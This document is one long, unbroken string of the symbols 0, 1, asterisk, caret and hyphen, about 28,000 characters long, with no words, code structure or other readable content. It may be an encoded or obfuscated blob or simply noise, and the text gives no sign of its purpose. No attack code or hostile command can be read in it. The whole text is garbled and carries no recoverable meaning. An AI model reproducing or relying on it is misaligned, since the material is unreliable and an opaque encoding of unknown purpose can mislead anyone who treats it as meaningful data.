1*0-11*1*^1*****01***01*1*00^1*1*1*1*-----^--1*1101*-**1*1^1*1*^1********001*11*00^1^1*1*1*********-1*0^-001**00---11*0-11*0-*01*1*-----^--110^11*-**1*1^1*1*^11*1*-11*0^1*1*1*0-*01^1*1^1*-11*0101*01^1**11010-01*0101*01*1*--------0^-1*-*0101*-11*-----^--*10-*-**1*1^1**01*-11*********^1*0^-001**00--10^1*-11*0-*01*1*-----^--00--*-**1*1^1*01*^-11*0-*01^1*01011*--------00110-*-001*^1*****01**0-0^1*00^1^1*1*1*-----110--10101**-**1*1^1*1^1*-11*********^1*0010-0011**--------00110-*-001*^1********0-^1*001*0101*1*1*-----110--1*11*00-**1*1^1*11011*-11*********^1*0^-001**00--1^11*0-*01*1*-----110--001*1*0-**1*1^1*0-1*-11*0-*01^1*^1*0-11*--------1^-1*-*0-*-----110---0101*0-**1*1^1*1*^1********-01101*001*0101*1*1*********-1*0^-00110101******10^101*101******01**-1***1******01**110-1**^-*00--------10110-*-00110110^1011*1*^10-0110-11*1*1*1*1*-----110---*01*-**1*1^1**10^-11*********^1*0^-001**00--10-1*0-*01*1*-----110--0101^1*-**1*1^1*^10^-11*0-*01^1*1*1*-11*0011*00101^10101*01*1*^1*01*1*--------0^-1*-00^10^-11*-----110--00101101*-**1*1^1*^1101******--1^11011*001*010^^^^-11*01101*1*1*********0^1*^-001**00--1*01*-11*0-*01*1*-----110--1*1011*-**1*1^1*^1101*****0010110-10-011*001*010^1*00110-11*10101*1*1*0-*01^1*0-*0-11*^1*01^1*11**--------01^-*-00^1101*****00110110-*^1*001*010^1*****01**0-1101**^10101*1*1*-----110--10--*-**1*1^1*-01**********1*0^-001**00--11011*0-11*0-*01*1*-----10--1*01**-**1*1^1*0011*0-11*0-*01^1*1011*0-11*-----10--110-**-**1*1^1*00-*-11*--------01010-*-001101101*011*1*^1********^-01*00^1^1*1*1*-----10--1101011*00-**1*1^1*10101*-11*********^1*0^-001**00--^11*0-11*0-*01*1*-----10--1^^1*0-**1*1^1*1*^110-110-11*0^1*1*1*0-*01^1*^11*0101*00101****01**1101^-00-0--------0^-1*-00-11*-11*-----10--110^11*0-**1*1^1*01^^-11*********^1*0^-001**00--1*11*0-*01*1*-----10--1*-1*0-**1*1^1*01010^-11*0-*01^1*0^1*-11*0101****01**0101^-110110110101******00-1*00101*********-0101*001********0011*-*001*001*0011*00--------^10-*-*001101*010^-11*1*^1*****01**00-011**^1*1*1*1*-----10---010101*-**1*1^1*-01*-11*********^1*0^-001**00--11*1*-11*0-*01*1*-----10----101*-**1*1^1*^110101*^-010^-11*1*1*1*1*1*^1********10--*00^1*1*1*1*0-*01^1*10101*-11*1101*01^1*0101****01**^1^-1101^11*00--------01^-*-00^1101*********01*1*00^1*^1*********0^1*001*0101*1*1*-----10---00-1*-**1*1^1*1*^1011*10-11*1^1*1*1*********0011*0^-001**00--^101*-11*0-*01*1*--------0101**0-**1*1^1*^110^1011*-11*1*^1010-00-11*0^1*1*1*0-*01^1*00-**1*01^1*01101*--------^10-*-00^1101*1^10-11*1*^1********^10101*00^1*1*1*1*---------101*00-**1*1^1*1*^^1*10-11*1*1*1*1*********0011*0^-001**00---011*0-*01*1******0-*0010-11*0-*-*01^1*01101*********10101011*****01**01^1101*****01**00^1011*****001**00110101********-10-********11*01******1**^1******0011**1101*******1**1*101*****0011**^1011****************01***1*******01**^1******0011**1^1101********1011011******1**^101******11**-*01*****011**1^1011*****01***-11********00^1101*****01***0011******1**0-001******01**01*001*****001**101*1*****0011**10--******1*00^11******001**0011011********01010-*****0011**001^1*****0011**-011******1**010-1******01**001*11*****001**1*-1********0-01******11**0-1**********1*******1**0-1011********0-*1*****001**1*1101*****01****101*****01***--*****01**011*11*****0011**001^1********011010^101*1*001*1*1**01*1^1**00^-11*-01*1^1*001****01**0^110^--001101*1^1*001*******-1*10--010101*1^1*001*******010101010--*101*1^1*001****01*****0--01^1*1^1*001*******0-11010--00^1*1^1*001****01**0-010^--01*1*1^1*001****01**001**0--001101*01^1*********1***-001*1****1**1^1*******01**-11***011***1^11011*********010101*0101*-----110--1*11*00-001101*01^1*^11010-00110-11*1*^1*********00101*00^1*1*1*1*-----110--11*01*0-001101*01^1*1*1*-11*--------11*-*-00^110101*^1*****01***00-1*001**1*1*1*1*^1*****01**0^1011**1**1*1*1*-----110--01*11*0-001101*01^1*^1101*****00-^101101*1*00^1^^1*01^-11*0^1*1*1*********0^1*^-001**00---011*^1*01*1*-----110--0--*0-001101*01^1*^1101******01^^-11**0^1^^1********1*1011*001*^1*1*1*^1*01^1*-01*--------01010-*-0011011010^11*1*^1********11*101*00^1*1*1*1*-----110--10^101*-001101*01^1*^11**********1*0^-001**00--101101*^1*01*1*-----110---01101*-001101*01^1*01011*^1*01^1*11011*010101*001*01*1*011****01**00-**0101******01**00^1**01******01**1****^^10110101*001*1*01101**1*01*1*-*001*1*-----110--00-011*-001101*01^1*^1101******10-00101101**01*010^1********101*01*001*-*01*1**1*01^1*1*******001*0^1011*^1010-01*001*1*-*001^1*011****011**-00101*101*1101*01101*01101*01011*011*001*1*-----10--1*1**0-001101*01^1*0011*0-11*011*001^1*011****011**01^101*101*0101*01101*01101**11*0101*******00110^--0^1*001^1*11****011**11010101*10^101**^1*^1*0101*001^1*010101^1101*---------10-*-001*^110^^-11**01*1*1*-----10--1^-*00-001101*01^1*^1101********00^^1*00^1*^^10-0-11*-1*01*1*********0^1*^-*01*001*1*-----10--10^101*0-001101*01^1*-1*0-11*001*001^1*011****011**00^101*101*0011*01101*01101*11**0^1**1*00101******00110110101^-*1****01***00^-0-1***0^1*-*00-----10--11010-*0-001101*01^1*^1101******101*^11***1*010^110-010-11*0011*01*1*1********1^^10101*0---**0^1*0011*0011****011**11*101*10^1101*0011****011**01*101*101*01****01**00-*-0-1***0^1*-01***10-11*--------01^-*-00^1101*****00-01**1011**1*010^1********1101^1*001*011*01*1*-----10--1*-01*-001101*01^1*^1101*****00-1^--11**1*010^1*****01**0010-11*001*-*01*1*********10101*^-001**00--101011*^1*01*1*-----10---101011*-001101*01^1**11*^1*01^1**11*0101*0011****011**1^1101*101*0101*01**--------00110-*-001*^1*****01**00-011**^1011*01*1*-----10---10-1*-001101*01^1*-01*-11*********^1*0^-001**00---101*^1*01*1*--------0101**0-001101*01^1*^1*0-11*^1*01^1*^11*--------0^-1*-0010101*-11*--------10-**-001101*01^1*01101**********1*0010-*01****01**00-*-0-1***0^1*--------0^-1*-00^1*0-11*--------*-*00-001101*01^1*11011**********1*0^-001**00--1*11*^1*01*1*--------010^1*0-001101*01^1*^1101*****001011*-01011**1*010^1********1101*1*001*011*01*1*^1*01^1*01011*010101*0101*--------1^-1*-00-01*--------0101011*0-001101*01^1*0-1**********1*0^-001**00--1^11*^1*01*1*--------00-11*0-001101*01^1*^1101*****001*101^1^11*001*010^1010-00-11*0011*01*1*^1*01^1*01101******01**010101101*****01***-*********-00101********10101*********00110-*****001**0-001******1***0011******1**101*1******1***0011****************01**0--********00-101******1**0-^11*****01**0^1*1*****01****101*****001**1^1*********-*01********101101******1**001*11*****001**001011011*********0011*****001**001011011*****01**0110-11********010-01********-*1********0110-1********001011*101*101101*01*1*1101*01^1**01*-11*0^1*1^1*001****01**0^110^--01*1*1^1*001****01**0-010^--*001*1^1*001*******0-11010--0-1*01^1*001****01*****0--00-*01^1*001*******010101010--01011*01^1*001****01**001**0--*11*01^1*001*******-1*10--001101*01^1*********1***-001*1****1**0^1******011**1011*****1**001^1^1******0-----10--^10-1*-00101*001^1*^1101*****00^10-*0^1*001*010^^110^-11*011*001*1*01010^1*******0011**1010-0-*00--------1011**0-00101*001^1*^110^^1010-11*1*^1*********1*1*00^-*001*1*--------0^-1*-00^1*0-11*--------01^1*00-00101*001^1*11011**********1*010-^^110^101101010-*^1**01*******101*01*001**1*011******001**0-0-**^1011**11*0-11*0101**011010-01*011*00--------010^1*0-00101*001^1*^1101*****00-0-0-10-*001*010^1********0-*1*001*11*001*1*1101*00101****01**11**-1011011011******011**0011*101**--------1101011*0-00101*001^1*0101*0-11*1101**101*--------1^-1*-0010-*--------00-11*0-00101*001^1*-01**********1*********01**0101*101*01^11*00^1101010-00--010-11*-11*-1101*1*001^^1********00^-*001*01****01**0^110^--*********^-*001*01****01**0^110^--010-110-11*1*011011**001*00--------*01101*-00101*001^1*1101*0-11*0101*001101*--------110-01*-00101*001^1*0-1*01^1*11****011**1*1101*01011********^11*********--1*********-101********0-*********00-101********011*011********01010101********0-********************1010101********01^101********00-**********11*0101*10101*001*1*********101*1*0-00-*001^1*001****01**001**0--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1****1**1*1******01**001^1***0-***1^1^1*--------0^-*0-*10101*1^1*11****011***01101*01011********-*******************************-*********00-*********00101*00101*10-*001*1*-*001^1*^11*01010^--------1^-1*-*-1*--------0-011*0-*01*001^1**11**********1*0--00^1101*01*01101101*011*-*********00-01011*001*011*********0110-01*00^1101******001**00-0101*001*101**011010-01*011**101******001*--11011011011******011**0011*101**--------*00101*-*01*001^1*-01*---------10-*-001*^-010^-11*101*001*1*--------0^1101*-*01*001^1*01101**********1*********01**0101*101*01^11*00^110^11*10-11*1*011*1*0011**--------110^11*-*01*001^1*0-1*0101*001101*********0101*********0101011********00101101*******************0101011*********10^1********01011011**********01********0101101********00^1*0101*1*1*001*1*001*001^1*11011*101*001^1*001****01**001**0--001101*01^1*********1***-001*1*******1*1*********101011***01***1^1^1***00--------011011*00-001011*01*^--*-11*011*001*1*01010^1*******0011**1010-0-*00--------*^1*0-001011*001101*--------0010-1*-0010-*--------1010101*0-001011*0-01*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------0011011*0-001011*00101*0-11*1101*00101****1***0110--011011011******011**0011*101**--------**01*-001011*00101*0-11*1101**101*--------11010-*-00^1101*****00^10-1^-1*001*010^-101*101*001*1*--------^1^1*-001011*00-1*********-*********001**0101*101*01^11*00^11010^11*1*011*1*0011**--------*01101*-001011*001101*0101*001101*--------^-01*-001011*01*^-010^-11*001*001*1*01^1*11****011**-10101*01011********010^1********00-101*********************1********001*001********01011*********010^1********01*1*********01*001********^1*1********110-1********001011*********0011*0101*10^1*********0-*1*0-*11*001^1*001*******0-11010--0101*001^1*001*******-1*10--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1****1***01*********11010-**0011***01^1^1*********-----10-----*-00101*001^1*^110101*^101101*-11*^1*01*1*1*^--^-11*^1*01*1*01010^1********-001^10-0-*00--------*11**-00101*001^1*^1*0-11*---------10-*-001*^11*0110-11**1*01*1*--------110101*00-00101*001^1*0101*0-11*********^1*010-^^110^1011010^11*^1**01******001101*00-0-*001*011******0011**010-11*00^1011*********00-^1*001*101**011010-01*011*00--------1^101*0-00101*001^1*01101*1101*00101****1***0^11*10^--------1*011*0-00101*001^1*^110101*^11*1*-11**1*01*1*1*^1********00-011*001*001*01*1*1101**101*--------1^-1*-*1011*--------0--*0-00101*001^1*-01**********1*********01**0101*101*01^11*00^1101010-^-11*1*01^1**11**---------0^1*-00101*001^1*^1101******10^1^10101**^1^^1*****01**01*1101*00^-*001*1*0101*001101*--------0-0101*-00101*001^1*^1101******--0-01**001*010^1********001*01*001*11*001*1*01^1*11****011**0-0101*01011********11011**********10101********0^11***********1*********-01*********1011********************1011********01*1101*********-01********1*101********00110-*********11*0101*10101*001*1*********0^101*0-00^1*01^1*001****01*****0--*01*01^1*001****01**001**0--0-*001^1*001****01**0^110^--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1****1**-1******001**0^101***0101***1^1^1*********010101*1^1*11****011***00101*01011010101*01****01***011011**0-011******01***10-0011**01****01**001011011**011*******0011**1011*^101010-11*10-001*****0^10^110^1**1*1101*11011******01**01010-0011*00--------010101*00-*011*001011*10-001******-**-11*00^^11*11011******01**01010-0011*0010-001*****01*11*001101**^-01*11011******01***10-0011*00--------110^1*0-*011*0^1101*10^1^11*001*001*1*0010^1^11*001*001*1*10-001*****0--0010-11**1*0011*11011******01***10-0011*0010-001*****01*1*110^1**^10-*11011******01***10-0011*00--------0010-*0-*011*0^1101*****00-101**01**01*010^110110^-11*001*001*1*10-001*****001*^^11**00^11011*11011******01**01010-0011*0010-001*****0110101*1101011*001*1011*11011******01**01010-0011*00---------1^1*-*011*01*^1*****01**0-0^1*00^^1*010-001******01*011*011*001*0-*11011******01**01010-0011**101*01*******0010^^1011*10-1*001****01**0^11011**010101******00101^1*0101*01****01**011011011*010-0^^1*******0010^^1011*1*****0101*0010110101*001*******************001011*********00-001*********01101********01^11********0^^11********110-********00-1*1*********1*0101*1*01**11*010-*001*001^1*001*******-1*10--01011**1*******0-11010--***01101*01^1*********1***-001*1****1**0-******001**0^11****01***1^1^1***00--------01*1*00-001011*0^1101********01*^1*00^1*^1********0-0101*001*11*001*1*01010^1*******00-110-010-0-*00--------10-1*00-001011**011*--------0010-1*-*0-*--------010^1*0-001011*00101*0-11**********1*0^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------01*11*0-001011*00-1*1101*00101****1**00-00--011011**11011******011**0011*101**--------0110-*0-001011*0^110101*^1********-0-1*00^101*001*1*1*^110-^-11*101*001*1*1101**101*--------0010-1*-*1011*--------0^^1*-001011*0^1101******-^-00^1*001*010^10^-0-11*001*001*1*********1*1*********1**0101*101*01^11*00^110^10-00-11*1*0110101**01*00--------00101101*-001011**011*0101*001101*--------10-101*-001011*001101*01^1*11****011**-1^1*01011********0010^1********011*01********0010^1*********1011********01011*1********1011*1********0-11*********010101*******************01101*********1011*********01011**********11*0101*10^1*********011*01*0-*11*001^1*001****01*****0--0101*001^1*001*******0-11010--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1*******^11********0--11***01***1^1^1*********--------*001*00-*11*001^1*-01*01010^-*00--------1^-1*-00-01*--------*011*00-*11*001^1*00-**********1*0--00^1101*1*001*1*11011010^11*^1******001***-01**1*01*001^1*********1*^1*00^1011*******01**0101**001*101**011010-01*011*00--------^1101*0-*11*001^1*110110^-1*1*^-*110-11*^1*01*1*1101*00101*******0101101*10^11**01**---------1011*0-*11*001^1*11011*1101**01*01********-1^10101*0--101**0^1*--------^10-*-00^1101******01*--11**01*010^-*010-11**1*01*1*--------1*^1*-*11*001^1*0-1**********1*********01**0101*101*01^11*00^1101*11*0-11*1*0110101**01*00--------01010101*-*11*001^1*^1101*********1^11*00^1*^1101*10-11*-*001*1*0101*001101*--------0-1101*-*11*001^1*0101*0-11*01^1*11****011**0-^1*01011********-1*********010^101********001^1********00-101********011*101********0010-*******************-1*********010^101********11*1********00101*01********1101*0101*^11*001*1*********01*01*0-00^1*01^1*001*******0-11010--*01*01^1*001*******-1*10--0-*001^1*001****01**001**0--001101*01^1*********1***-001*1****1**1011******001**01*****001***1^1^1*01010^1*******0011**1010-0^1*0-----110--01*011*-*-*01^1*^1101*******0^1101***^1^^1*****01**00101011**^1^1*1*1*01*1011*******0011**1010-0^1*0-*0011011******001**0010-*1****01**0010110110--01011*00101*******01*10-101101*******00^10^1010-*1*001*1*--------1^-1*-*1011*-----110--00--*-*-*01^1*^1101******10^1^10101**1*010^1*****01**010101011*00^1*1*1*1*********10101*0-1^-*001*1*^1*01*1*-----10--101011**-*-*01^1*11011010^1*0-11*1*^1010-00-11*0^1*1*1*^1*01^1**11010-01*^1*01*1*-----10---1101*00-*-*01^1*01101*01^1*101*******0^110-101101*10-*01101^^110-01*01*01*1**110101*1*-11**1101*11*01*1*^1*01*1*11011******01**01010-01101*01*1*1*01101^^1^11010^1*01*1**11010-*001*1*0011*01*1*11011******01**01010-00101*01*1*101*001*1*1*******00^101*010-*1*001*1*-----10--^11011*0-*-*01^1*10-*^1*01^1*-01**1*01^1*^101^-*-011******01**01010-01101*01*1*-----10--101*001*-*-*01^1*0-1*-*001^1**001101*0110101*001*1*1^^^11*01^1**11010-01*10^1*011*01*1*11011******01***10-00101*01*1*01*110-1*0-11*-*001*1*--------1^-1*-*-1*-----10--101010101*-*-*01^1*^1101010-110-11*1*^1**********11*001**1*1*1*********0^1*^-00-1101**^-11*011*001*1*-----10--1011*11*-*-*01^1*^1101*****001010-^10^1*001*010^1*0-0-11*1*1*1*1*-*001^1**0011011*110-01*-1101*****00--11**11*001*11*001*1*-11010-11*-11*011*001*1*0011*01^1**11010^11*0011*01*1*-----10--1*0-1*-*-*01^1*^1101*********-101*00^1*^1*-00-11**01*1*1*011*001^1*1*0110101*001*1*1^^1*11010-01*0011*01*1*11011******01***10-00101*01*1*101*001^1*1^^^11*01*1*11011******01**01010-00101*01*1*001*001^1*0101******0011*1101^-0--------01^1*00-*-*01^1**11*0101*01^1*1101*01^1*0011*01^1*011*0011011******01***10-*1****01***0110110--011011******01***10-*01*001010^1*******0011**1010-0^1*0--------1^-1*-0011011*--------0^101*0-*-*01^1*^1101*****001011*1*0011**1*010^1********1101*1*00^-1*01*1*********10101*^-001011*010^1*101^-1*0011011******001**0010-*1****01**0010110110--0--------010-1*0-*-*01^1*00-*1101*01*0110-*001^^1*1101*011*011*001101*01^^1011*0010^^11011******01***10-*01**11**1****01**0^110110--00101*01*011011**1*01101101**-1*^^-^101*00^101*00--------11*101*-*-*01^1*-01*01^1*11****011**10-001*01011*****01**0110-01********1*0011********11010-********^11011*****01**0-10-********10^11*****001**01011*********011010-*****01***0^11*****01**0-101******1**0-0^1********-011*********011011*****001**0101*1*******************1101*1********0-******001**001*001********0^1*101*^-*01*1*********10-01*0-001^1*1^1*001****01**0^110^--00^1*1^1*001****01**0-010^--01*1*1^1*001*******010101010--*001*1^1*001****01*****0--0-1*01^1*001*******-1*10--001101*01^1*********1***-001*1****1**0011*******1**0010-***011***1^1^1*********010101*11****011**1^-*0101******11**-*11*001******11**011*01*001*01****01**01^^-0-^1**--------0-11*00-*011*00-1*--------101*1*0-*011**011*--------1^-1*-00^1*0-11*--------1^101*0-*011*01101101*011*1*^1*****01**01*-**^101*001*1**********01*^-001**00---101*011*00--------0011011*0-*011*0^110101*1*-11*1*^-1*10-11*^1*00101*0-01*--------0010-1*-*0-*--------1**1*-*011*0^110101^^1********0011*1*001*01*001*1*1^^1********0011*1*001*01*001*1*********-01*^-*-^--01**********101*001*101101*10^1*****001**001^1**1*01*******010101010--*10^1*01*-11*001*******010101010--*001*-11*001*******010101010--01**00--101101*011*00--------11*011*-*011*0^11010-11*-11*1*^-*010-11*^1*00101*001101*********1011*1********-1*********0011*01********01^11********001^11*******************011*01********0010^1********01**********-0101********00101*0101*1*01**11*001011*101*001^1*001****01**001**0--*1*001^1*001****01**0^110^--01011**1****01*****0--001101*01^1*********1***-001*1***001**0-^1********01010-1**00-***1^1^1*01010^-----10--1**11*-*011*0^110101*^1*****01***11011**1*001*01*1*1*^1*****01**01^^1*001*001*01*1*-----10---101011*-*011*0^1101******10-*110101**1*010^1*****01**0^-11*001*11*001*1*--------1^-1*-001011*0-11*-----10--10^-1*-*011*0^1101*****00--0--011*001*010^10^1*-11*-*001*1*********1*1*^-001**00--1^11*011*00--------0011**0-*011**011*0101*0-01*--------0010-1*-*0011*--------11011**-*011*001101*********-*00^-001**00--101101*011*00--------110101*00-*011*0^1101******0110^^-**01*010^1*****01***11011**1*11*001*1*0101*0^11*001****01**01^^110-1^101*******00110^--001**--------*0-1*-001*^-110110-11*101*001*1*--------0110101*0-*011*0-01*********-*00^-001**00--1*11*011*00--------01^11*0-*011*0^110101*1*-11*1*^10-1^-11*001*001*1*0101**011*011*******00-11*0101******11**1*-**1******11**-0101**1*01****01**01^^-0-^1**--------*10-*-00^1101******01^^-11**0^1^^1********1*1011*00^^1*0--------10-001*-*011*011011*********-*00^-001**00---101*011*00--------10110101*-*011*0^1101******^1101010-**0^1^^1*****01***01101**^^1*00101*001101*********11010-********-0^1*******************0-01********0-01011********10101*********1**1*****01**001**********-011********00-0^1********-01011********01101101********0110-********010110101********0-*0101*1*01**11*01101*0-11**1*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--0101*001^1*001****01*****0--*1*001^1*001****01**0-010^--01011**1****01**0^110^--001101*01^1*********1***-001*1****1**1101******001***10-***001***1^1^1*010101*01****01**01^^110-1^11*****1**0-011*10^11**001****001***^^--001**001****01**00^^110-1101*1011*1101*011*001****01**01*^-0-^1**01**001****01**01*^110-1101*10110101101*011*110101******0^-*0101******11**^11011*001******11**--01*00^11**01*****1101*01^1*1**110101*--1***10101*01****01***00^110-11*1**-*001**001****01**0-1*110-110101**1**001****01**00-*110-11*1**1**001****01**01011*110-11011**01*****1101*01^1*********1***-*101^--------1010101*00-*01*001^1*0101*0-11*01010^-*00--------0^-1*-*101*0-11*--------00-1*00-*01*001^1*01011**********1*0010-0010-01*011**1*0--------001^1*0-*01*001^1*00-*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------*0011*0-*01*001^1*0-1*1101*00101****1***0011*0010^11**01**--------*0-*0-*01*001^1*^1101******11*1^1*1**^1^^^101*-11*011*001*1*1101*001**--------0^-1*-001101*0-11*--------1101*1*-*01*001^1*^11**********1*********01**0101*101*01^11*00^1101*001^-11*1*0110101**01*00--------00^101*-*01*001^1*^1101******1*0-*0101*001*010^1********110-11*00^101*001*1*0101*001101*--------110-01*-*01*001^1*11011*01^1*11****011**0110^1*01011********^1101********010^1********0010-11********0^1011********00110^1********10-11********00-**********10^1********101*1*******************0110^1********1*-*********11*0101*1*1*001*1*********101*1*0-*11*001^1*001****01**0^110^--0101*001^1*001*******010101010--001101*01^1*********1***-001*1****1**0101**********00-1**0011***01^1^1****10101*101*******01*10-101^11*00-----^--11*11*0-*01*001^1*0011*0-11*-----^--0011011*0-*01*001^1*1101*0-11*--------0^-1*-0010101*-11*-----^--00-11*0-*01*001^1*^110101*^-^^-11*1101*01*1*1*^1*10^-11*1101*01*1*********0^1*^-001**00--10101*0-11**1*0-----^--*1^1*-*01*001^1*1011*0-11*0011*0-01*--------0^-1*-001011*0-11*-----^--01010101*-*01*001^1*00101*-11*********^1*0^-001**00--101101**1*0-----^--00-101*-*01*001^1*00-*-11*0011*00101*0-11*--------10110-*-001101101010-*1*^1011*10-11*-*001*1*-----^--00101011*-*01*001^1*1*^1*****01**0-0^1*00^-*001*1*********-1*0--*101****01***1^-1101^11****011**0^^1*101*1**-*00--------^10-*-*00110101^1*-11*1*^1*****01**011010101*00^1101*01*1*-----110--001**00-*01*001^1*0-*0-11*********^1*0^-001**00--1^1*0-11**1*0-----110---01**-*01*001^1*10-*0011*011011*01^^110101******1^-*0101******01**0-11**01******01**1101101**1*11*00--------1^-1*-0010-*-----110--*-*00-*01*001^1*^1101*********11*1*00^1*^10-0010-11*-*001*1*********0^1*^-001**00--101011**1*0-----110--1^101*0-*01*001^1*^1101011010^-11*1*^11*0^-11*101*001*1*0011**-*1101*001101*--------0^-1*-00^1*0-11*-----110--1011011*0-*01*001^1*^1101********01010-1*00^1*^^-^-11*101*001*1*********0^1*^-001**00---011**1*0-----110--*1*1*-*01*001^1*^1101******---0^11*001*010^^^^-11*^1*01*1*0011**011*0101*00101******0011*1101^-0--------01010-*-00^1101*****00^10-00-**001*010^101011*^1*01*1*-----110--1*1101*-*01*001^1*^1101*****0010101^10110-*001*010^10-1*-11*^1*01*1*********0^1*^-001**00---101**1*0-----110--001^11*-*01*001^1*^11*-11*0011*0^11*01^^110101******-^1*0101******01**01101101*001******01**001*11*001*11****011**-^1*0101*1**011*00--------00110-*-0011011010^1*0-11*1*^1101*10-11*101*001*1*-----110--110-11*-*01*001^1*^110^-0110-11*1*^1*****01**0--1**^1101*01*1*********0^1*^-001**00--1*11**1*0-----10--101101**-*01*001^1*^11010-00^-11*1*^1*****01**00-^1*00^1101*01*1*0011*001011*-----10--1010101*00-*01*001^1*1*^1^10^-11*-*001*1*01^^110101******^1^1*101******1**011011011*001******1**00-0101*00^1********-11*011*1011****011**1*^-1101^1**011****011**1*-*0101*-**^^^101011**1*00^-01********************1**1*01*11*00--------0^-1*-*^1*-11*-----10--11011011*0-*01*001^1*0101*0-11*********^1*0^-001**00--1^11**1*0-----10----11*0-*01*001^1*^1101******0-110^1011**1*010^1********010-11*001*11*001*1*0011*0^1*0-11*1101**011010-01*-*00--------0^-1*-00-1*0-11*-----10--101*101*-*01*001^1*^1101*-*-11*1*^110-110-11*0101*01*1*********-1*0^-001**00--10-1**1*0-----10--1010-01*-*01*001^1*^1101*****00^1010^1011**01*010^1********01*001*00^^1*01*1*0011*00-1*-----10--11*1011*-*01*001^1*^1101*****00-0110-0-1**^1^^1*****01**0011*01*001*001*01*1*01^^110101******-^1*0101**0010-11*0^1^-11*110101******01^101*101******11**010-01*001******11**11010-*001*101****01**-0^-110110-**11****011**0^^1*101*1**011*00---------10-*-001*^-01*0-11*101*001*1*--------01101**-*01*001^1*01011**********1*0^-001**00--110-**1*0---------001*00-*01*001^1*1*^1********-00-*00^-*001*1*0011*010-*--------*-*00-*01*001^1*^1101******101*101010-*001*010^1********10^101*001*11*001*1*--------1^-1*-0011011*--------1^101*0-*01*001^1*^1101********01^^1*00^1*^^10-0-11*101*001*1*********0^1*^-001**00--^-**1*0--------0-011*0-*01*001^1*10101*-11*0011*001101******01**01101*1*****01**0-^1******1**-*1******1**10-101********1^^1*********10101*****01**010110101********1*001*****0011**001*******01**1*0-*****011**1011*******1**01101011********--01*****01**011*11*****001**01*-1*****01**0-01011********010-11*****001**101*01*****001**1*0-********1101******0011**01101******01**01^1******001**01^1*********10-11*****001**01*11*********1101*********^101********01011011********00-1011****************01**1*1101*****001**1^1**********00^101*1*1*001*1*001*001^1**11*1101*01^1*001****01**001**0--00101*01^1*001****01**0-010^--0^1*01^1*001*******-1*10--*01*01^1*001****01**0^110^--0-*001^1*001*******0-11010--0011*001^1*001*******010101010--0101*001^1*001****01*****0--001101*01^1*********1***-001*1****1**^1******0011**-11011***11***1^1^1******001010^-*00-----^--1*01*00-*11*001^1*00-*-----^--^101*00-*11*001^1*1*^1*****01**00-011**^^1*01*1*--------01^-*-00^1101*****001101^101^1**01*010^1********^1^1*001*001*01*1*-----^--110^1*0-*11*001^1*-11*-11*********^1*0^-001**00---01*0-11*001*001*1*-----^---1101*0-*11*001^1*01101*-11*001*001^1*-01*--------01^-*-00^1101******11010^110101**1*010^1*****01***00-1*00^1101*01*1*-----^--0--*0-*11*001^1**11*-11*********^1*0^-001**00--101101*001*001*1*-----^--1*^1*-*11*001^1*0101101*011*1*^1********1101^1*001*011*01*1*001*001^1**11*0101*001011*--------0^-1*-**0^-11*-----^--0-0101*-*11*001^1*^11*-11*********^1*0^-001**00---101*001*001*1*-----^--1*0011*-*11*001^1*^1101*101010-11*1*^1********1^^1*00^-*001*1*001*001^1*1101*0-11*--------0^-1*-001101*0-11*-----^--0-1011*-*11*001^1*0-*0-11*********^1*0--*101****01***1^-1101^11****011**0^^1*101*1***1*0--------1^-1*-0011011*-----^--0--1*-*11*001^1*11011*-11*********^1*0^-001**00--10101*0-11*001*001*1*-----110--0^1**-*11*001^1*-01*-11*001*001^1*0-1*-----110--0-1**-*11*001^1*-01*110101******011**00101******1***110101*001******1**001^101*001*11****011**00101010-10110^1*0011*00-**1101*011****011**0-0010-10110^1*0--------0^-1*-00-01*-11*-----110--110^1*0-*11*001^1*^1101******110--1*01*001*010^-01*0-11**1*01*1*********0^1*^-*0-00--01*********--*001*10110101*^-011*001****01**0-010^--01*^1********^1*1*001*01****01**0-010^--********0^1*1*001*01****01**0-010^--01**00--110-*001*001*1*-----110--1101*1*-*11*001^1*1^1*-11*001*001^1*^1*0-11*0101**0110^11****011**00101010-10110^1*0011*00--------^10-*-00^1101*******011*0-01*001*010^-1^10-11*1101*01*1*-----110--1*1101*-*11*001^1*^1101*****00-1010---*001*010^1*****01***0-**0^1101*01*1*********10101*^-001**00--10-1*001*001*1*-----110--*01011*-*11*001^1*^11010-00110-11*1*^1**********11*00^-*001*1*001*001^1*01011*-----110--10^-*-*11*001^1*10-*110101******011**00101*^-0-11**-10-11*01011*01101*-**1101*011****01**011*11*010^-01*-11*-1*0-11*011****011**1*^-1101^1**--------^10-*-00^1101*****00^11*0-1101*001*010^10-1*-11*1101*01*1*-----10--1^11**-*11*001^1*-1*0-11*********^1*0^-001**00--1^11*001*001*1*-----10--^1101*00-*11*001^1*^1101*****00^11*-00-*001*010^10-*0-11**1*01*1*001*001^1*0101*0-11*0011**011010-01**1*0--------01^-*-00^1101******0^11*001101*00^1^^1********1010^1*001*101*01*1*-----10--1^1101*0-*11*001^1**01*-11*********^1*0^-001**00--1^1*0-11*001*001*1*-----10--11011011*0-*11*001^1*^1101******^1010^-1**1*010^1*****01**001101101*00^1101*01*1*001*001^1*00-*-----10--1101*01*-*11*001^1*11011*-11*--------1^-1*-00^11*-----10--^10^1*-*11*001^1*^110101*^1********10101101*00^^1*01*1*1*^1********10101101*00^^1*01*1**********11*^-001**00---011*001*001*1*-----10--101101101*-*11*001^1*01011*001*001^1*10-*1011*00101****01**-0^-11011*01*0011****011**0^^1*101*1**---------10-*-001*^-010^-11*^1*01*1*-----10--1*11011*-*11*001^1*1101*0-11*********^1*0^-001**00--^-*001*001*1*-----10---010-*-*11*001^1*^1101******00101^-11**0^1^^1*11*0101*01*1*001*001^1*^11*1101*01*******001*0^1011*1*00-011****011**1*^-1101^1**--------^10-*-00^110^10-00-11*1*^1*****01**001011**00^^1*01*1*--------00-**-*11*001^1*^1101******101*101011**001*010^110-010-11**1*01*1*********0^1*^-001**00--1*11*001*001*1*--------*-*00-*11*001^1*01011*-11*001*001^1*11011*0011*001101*--------00110-*-00^110^1*110-11*1*^-0-10-11*-*001*1*--------1^101*0-*11*001^1*0-1**********1*0^-001**00--101011*001*001*1*--------10^11*0-*11*001^1*00101*-11*001*001^1*01101******01**01*0101*****001***00